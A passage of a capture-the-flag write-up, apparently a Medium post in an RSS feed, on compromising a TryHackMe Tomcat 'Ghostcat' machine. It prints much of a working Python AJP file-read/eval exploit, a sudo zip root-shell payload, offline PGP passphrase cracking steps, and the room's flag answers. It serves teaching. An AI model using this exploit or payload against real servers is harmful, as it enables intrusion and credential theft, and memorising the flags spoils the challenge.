(header_key_bytes, header_value_bytes))<br><br>    def parse_send_body_chunk(self):<br>        if not self.body_start:<br>            log(&#39;append&#39;, &#39;\n&#39;)<br>            log(&#39;debug&#39;, &#39;start parsing body chunk&#39;)<br>            self.body_start = True<br>        chunk = self.read_string()<br>        if self.out_file:<br>            self.out.write(chunk)<br>        else:<br>            try:<br>                chunk = chunk.decode(&#39;utf8&#39;)<br>            except:<br>                pass<br><br>            log(&#39;append&#39;, chunk)<br><br>    def parse_response_end(self):<br>        log(&#39;debug&#39;, &#39;start parsing end&#39;)<br>        code_reuse_int = self.read_int(1)<br>        log(&#39;debug&#39;, &quot;finish parsing end&quot;, code_reuse_int)<br>        self.sock.close()<br><br>    def read_int(self, int_len):<br>        return int.from_bytes(self.recv(int_len), byteorder=&#39;big&#39;)<br><br>    def read_bytes(self, bytes_len):<br>        return self.recv(bytes_len)<br><br>    def read_string(self, int_len=2):<br>        data_len = self.read_int(int_len)<br>        data = self.recv(data_len)<br>        # consume the 0x00 terminator<br>        end = self.recv(1)<br>        log(&#39;debug&#39;, &#39;read_string read data_len:%d\ndata_len:%d\nend:%s&#39; % (data_len, len(data), end))<br>        return data<br><br>    def recv(self, data_len):<br>        data = self.sock.recv(data_len)<br>        while len(data) &lt; data_len:<br>            log(&#39;debug&#39;, &#39;recv not end,wait for %d bytes&#39; % (data_len - len(data)))<br>            data += self.sock.recv(data_len - len(data))<br>        return data<br><br><br>class ajpShooter(object):<br>    def __init__(self, args):<br>        self.args = args<br>        self.headers = args.header<br>        self.ajp_port = args.ajp_port<br>        self.requesturl = args.url<br>        self.target_file = args.target_file<br>        self.shooter = args.shooter<br>        self.method = args.X<br>        self.out_file = args.out_file<br><br>    def shoot(self):<br>        headers = self.transform_headers()<br><br>        target_file = self.target_file.encode(&#39;utf8&#39;)<br><br>        attributes = []<br>        evil_req_attributes = [<br>            (b&#39;javax.servlet.include.request_uri&#39;, b&#39;index&#39;),<br>            (b&#39;javax.servlet.include.servlet_path&#39;, target_file)<br>        ]<br><br>        for req_attr in evil_req_attributes:<br>            attributes.append((b&quot;req_attribute&quot;, req_attr))<br><br>        if self.shooter == &#39;read&#39;:<br>            self.requesturl += &#39;/index.txt&#39;<br>        else:<br>            self.requesturl += &#39;/index.jsp&#39;<br><br>        ajp_ip = urllib.parse.urlparse(self.requesturl).hostname<br><br>        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>        s.connect((ajp_ip, self.ajp_port))<br><br>        message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()<br>        s.send(message)<br><br>        ajpResponse(s, self.out_file).parse_response()<br><br>    def transform_headers(self):<br>        self.headers = [] if not self.headers else self.headers<br>        newheaders = []<br>        for header in self.headers:<br>            hsplit = header.split(&#39;:&#39;)<br>            hname = hsplit[0]<br>            hvalue = &#39;:&#39;.join(hsplit[1:])<br>            newheaders.append((hname.lower().encode(&#39;utf8&#39;), hvalue.encode(&#39;utf8&#39;)))<br><br>        return newheaders<br><br><br>if __name__ == &quot;__main__&quot;:<br>    # parse command line arguments<br>    print(&#39;&#39;&#39;<br>       _    _         __ _                 _            <br>      /_\  (_)_ __   / _\ |__   ___   ___ | |_ ___ _ __ <br>     //_\\\\ | | &#39;_ \  \ \| &#39;_ \ / _ \ / _ \| __/ _ \ &#39;__|<br>    /  _  \| | |_) | _\ \ | | | (_) | (_) | ||  __/ |   <br>    \_/ \_// | .__/  \__/_| |_|\___/ \___/ \__\___|_|   <br>         |__/|_|                                        <br>                                                00theway,just for test<br>    &#39;&#39;&#39;)<br>    parser = argparse.ArgumentParser()<br>    parser.add_argument(&#39;url&#39;, help=&#39;target site\&#39;s context root url like http://www.example.com/demo/&#39;)<br>    parser.add_argument(&#39;ajp_port&#39;, default=8009, type=int, help=&#39;ajp port&#39;)<br>    parser.add_argument(&#39;target_file&#39;, help=&#39;target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg&#39;)<br>    parser.add_argument(&#39;shooter&#39;, choices=[&#39;read&#39;, &#39;eval&#39;], help=&#39;read or eval file&#39;)<br><br>    parser.add_argument(&#39;--ajp-ip&#39;, help=&#39;ajp server ip,default value will parse from from url&#39;)<br>    parser.add_argument(&#39;-H&#39;, &#39;--header&#39;, help=&#39;add a header&#39;, action=&#39;append&#39;)<br>    parser.add_argument(&#39;-X&#39;, help=&#39;Sets the method (default: %(default)s).&#39;, default=&#39;GET&#39;,<br>                        choices=[&#39;GET&#39;, &#39;POST&#39;, &#39;HEAD&#39;, &#39;OPTIONS&#39;, &#39;PROPFIND&#39;])<br>    parser.add_argument(&#39;-d&#39;, &#39;--data&#39;, nargs=1, help=&#39;The data to POST&#39;)<br>    parser.add_argument(&#39;-o&#39;, &#39;--out-file&#39;, help=&#39;write response to file&#39;)<br>    parser.add_argument(&#39;--debug&#39;, action=&#39;store_true&#39;, default=False)<br><br>    args = parser.parse_args()<br>    debug = args.debug<br>    ajpShooter(args).shoot()</pre><p>The <strong>exploit </strong>syntax is as follows:</p><pre>python3 exploit.py &lt;target_ip&gt; 8009 /WEB-INF/web.xml read</pre><p>The exploit was successful, and the output of web.xml contained plaintext credentials for a user named skyfuck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*26pEvdfophos1Aa-iy84Fg.png" /><figcaption>(credentials)</figcaption></figure><p>I immediately tested the discovered credentials against the <strong>SSH </strong>service on port <strong>22</strong>. The login was successful, providing me with an initial low-privilege <strong>shell </strong>on the system.</p><p>Upon enumerating the user skyfuck&#39;s home directory, I found two interesting files:</p><ul><li>credential.pgp: A file encrypted using <strong>PGP</strong>.</li><li>tryhackme.asc: An ASCII-armored <strong>PGP </strong>private key file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*X1AtJGh9lypzZsssk5Y_Ag.png" /><figcaption>(ls)</figcaption></figure><p><strong>PGP </strong>is an encryption system that provides cryptographic privacy and authentication for data communication. It uses a combination of public-key and symmetric-key cryptography. In this model, a user has a pair of keys: a public key for encryption and a private key for decryption. The <strong>private key</strong> is the most sensitive component, as anyone who possesses it can decrypt messages intended for the owner. To protect this key, it is stored encrypted on disk.</p><p>To decrypt the credential.pgp file, I needed to import the private key and provide its <strong>passphrase</strong>. The <strong>passphrase </strong>is required to decrypt this local copy of the private key into a usable state in memory. Therefore, the <strong>passphrase </strong>acts as a vital first layer of defense, ensuring that even if the private key file is stolen, it remains useless without the passphrase to unlock it.</p><p>To bypass this, I transferred both files to my local machine for offline cracking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*HTunfTNyTVFVX2mfU8DSBQ.png" /><figcaption>(scp)</figcaption></figure><p>I used gpg2john to convert the encrypted private key into a <strong>hash </strong>format that John the Ripper could understand, and then performed a <strong>brute-force</strong> attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*HPg8fppYXDD5co7SXDJyXQ.png" /><figcaption>(hash)</figcaption></figure><p>After a short time, <strong>John </strong>successfully recovered the passphrase</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*B9Qc9d_wY9lNV6B0qCRg3A.png" /><figcaption>(john)</figcaption></figure><p>I returned to the target machine, executed the <strong>decryption </strong>command again, and provided the cracked passphrase. This successfully <strong>decrypted </strong>the credential.pgp file, revealing <strong>login </strong>credentials for a user named merlin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*pcrjNWvXtCfiTm3hzWEXFw.png" /><figcaption>(merlin)</figcaption></figure><p>I used the su command to switch to this user. After providing the password, I gained access as the user merlin and retrieved the <strong>first </strong>flag (user.txt) from their /home.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*ivmMdVD6ArdIBfVe9o0nXw.png" /><figcaption>(user.txt)</figcaption></figure><p><strong>Privilege Escalation</strong></p><p>I continued enumeration to escalate <strong>privileges </strong>to root. Checking merlin&#39;s sudo rights revealed a critical <strong>misconfiguration</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*Zid2KTmQE_CTIC9AdRa-vw.png" /><figcaption>(sudo -l)</figcaption></figure><p>The output showed that the user merlin could run /usr/bin/zip as root without a <strong>password</strong>. I referenced <a href="https://gtfobins.github.io/">GTFObins</a>, a curated list of Unix binaries that can be exploited for privilege escalation, and found a payload for zip.</p><pre>TF=$(mktemp -u)<br>sudo zip $TF /etc/hosts -T -TT &#39;sh #&#39;</pre><p>This command tricked zip into executing a shell command with root privileges. The exploit spawned a <strong>root </strong>shell, granting me full control over the <strong>system</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*H1UALriE-F5FYIEyi2tWZg.png" /><figcaption>(whoami)</figcaption></figure><p>Having these <strong>privileges </strong>allowed me to get the last <strong>flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/214/1*hqF5wj7JA6EsJLHvGK8UnQ.png" /><figcaption>(root.txt)</figcaption></figure><p>The answers for all the questions are:</p><p><strong>1. Compromise this machine and obtain user.txt</strong></p><blockquote>THM{GhostCat_1s_so_cr4sy}</blockquote><p><strong>2. Escalate privileges and obtain root.txt</strong></p><blockquote>THM{Z1P_1S_FAKE}</blockquote><p>Thats all! Thanks for reading and see you next time!, I hope this Writeup has been helpful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56c78a7f1930" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>